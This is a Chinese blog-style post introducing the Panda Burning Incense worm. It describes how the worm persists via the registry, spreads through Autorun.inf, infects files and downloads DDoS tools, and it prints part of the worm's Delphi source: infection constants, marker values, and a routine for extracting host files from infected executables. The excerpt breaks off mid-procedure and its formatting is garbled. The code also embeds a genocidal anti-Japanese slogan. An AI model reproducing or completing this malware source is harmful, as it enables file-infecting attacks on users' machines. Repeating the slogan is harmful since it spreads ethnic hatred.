带大家走进熊猫烧香蠕虫病毒

病毒结构

含有病毒体的文件被运行后,病毒将自身拷贝至系统目录,同时修改注册表将自身设置为开机启动项,并遍历各个驱动器,将自身写入磁盘根目录下,增加一个Autorun.inf文件,使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染,同时开另外一个线程连接网站下载ddos程序进行发动恶意攻击。

病毒文件初始信息

Program japussy; uses windows, sysutils, classes, graphics, shellapi{, registry}; const headersize = 82432; //病毒体的大小 iconoffset = 12eb8; //pe文件主图标的偏移量 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { headersize = 38912; //upx压缩过病毒体的大小 iconoffset = 92bc; //upx压缩过pe文件主图标的偏移量 } iconsize = 2e8; //pe文件主图标的大小--744字节 icontail = iconoffset + iconsize; //pe文件主图标的尾部 id = 44444444; //感染标记

//垃圾码,以备写入 catchword = 'if a race need to be killed out, it must be yamato. ' + 'if a country need to be destroyed, it must be japan! ' + '*** w32.japussy.worm.a ***'; {$r *.res} function registerserviceprocess(dwprocessid, dwtype: integer): integer; stdcall; external 'kernel32.dll'; //函数声明 var tmpfile: string; si: startupinfo; pi: process_information; isjap: boolean = false; //日文操作系统标记

{ =====判断是否为win9x =====}

function iswin9x: boolean; var ver: tosversioninfo; begin result := false; ver.dwosversioninfosize := sizeof(tosversioninfo); if not getversionex(ver) then exit; if (ver.dwplatformid = ver_platform_win32_windows) then //win9x result := true; end;

{===== 在流之间复制===== }

procedure copystream(src: tstream; sstartpos: integer; dst: tstream; dstartpos: integer; count: integer); var scurpos, dcurpos: integer; begin scurpos := src.position; dcurpos := dst.position; src.seek(sstartpos, 0); dst.seek(dstartpos, 0); dst.copyfrom(src, count); src.seek(scurpos, 0); dst.seek(dcurpos, 0); end;

======将宿主文件从已感染的PE文件中分离出来,以备使用=====}

procedure extractfile(filename: string); var sstream, dstream: tfilestream; begin try sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone); try dstream := tfilestream.create(filename, fmcreate); try sstream.seek(headersize, 0); //跳过头部的病毒部分 dstream.copyfrom(sstream, sstream.size - headersize); finally dstream.free; end; finally sstream.free; end;

相关推荐
老马啸西风1 小时前
Neo4j GDS-08-neo4j GDS 库中路径搜索算法介绍
网络·数据库·算法·云原生·中间件·neo4j·
乄北城以北乀1 小时前
muduo库源码分析: TcpConnection
网络·c++·后端·中间件
xiaofeilongyu1 小时前
HTTP实现心跳模块
网络·网络协议·http
pt10433 小时前
BGP分解实验·23——BGP选路原则之路由器标识
网络
ℳℓ白ℳℓ夜ℳℓ3 小时前
Linux网络http与https
linux·网络·http
IT信息技术学习圈3 小时前
网络安全课程笔记整理
网络·笔记·web安全
卡戎-caryon4 小时前
【Linux网络与网络编程】08.传输层协议 UDP
linux·网络·udp
未来之窗软件服务7 小时前
数字人-局域网共用一个数字人平台-谷歌浏览器没有ssl配置
网络·网络协议·ssl·数字人
影龙帝皖12 小时前
Linux网络之局域网yum仓库与apt的实现
linux·服务器·网络
李詹13 小时前
如何解决DDoS攻击问题 ?—专业解决方案深度分析
网络·ddos